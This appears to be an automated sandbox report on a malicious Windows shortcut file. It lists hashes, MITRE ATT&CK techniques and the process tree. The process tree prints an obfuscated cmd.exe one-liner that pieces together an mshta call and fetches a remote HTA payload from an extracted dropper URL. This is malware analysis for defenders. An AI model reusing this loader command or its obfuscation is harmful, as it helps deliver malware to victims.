a8bfdcd9e9590bd8e0c8343f6888a84e32210ef2377d92fa3de03b5cd5e9f977

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-JFU7ZV.lnk
Size 2KB
Sample260804-kefmzagb52
SHA256 a8bfdcd9e9590bd8e0c8343f6888a84e32210ef2377d92fa3de03b5cd5e9f977
MD5 b81543e9229e979d3d408f0a5d948be9
SHA1 7c4062e9f6b7249a0e2f37e2b9bb54608ccfa1da
SHA512 519534d5e1f66c37a1d3eb8ea7cd88dec3a3b8598c3e87f1e6a01322cf5f4f7e4f733a13e5cd2280c522074453a6edd340390ab780cc6ad759fb5f1a56a99e76
TLSH
T1B14147402BE90195F3BB8F72DDFA6740497BB8559E70C65E0941814D4432B06E977B37
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6136	cmd.exe
4664	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6136 wrote to memory of 4664	6136	cmd.exe	90
PID 4664 wrote to memory of 1576	4664	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JFU7ZV.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6136
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set RNTMn=dbgblixayerbplodwoyrudbg&&set PCy=winihtpwin&&set mfK=winchprgmvpzbcmzhmcwin&&set kvWGQ=1nst2&&set Bw=7artfu8&&set uH=oldizgywezvyueaugold&&set EKUFm=cachelruakfwpcache&&set xYa=winejwnrpubvwin&&set HEC=8s3mshtwr3&&set oksrV=y9azn&&set Xmy=datachbgjbxkvqmdat&&set MumG=cfgsjhrdoepmkmftkratlpttcfg&&set fPr=h@tt@ps://@ma-@p@[email protected]/h/esta@gio1.@ph@p?r=3914@69@F@B5D82DB&&start /b !HEC:~3,4!!oksrV:~2,1! !fPr:@=!&&set hL=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads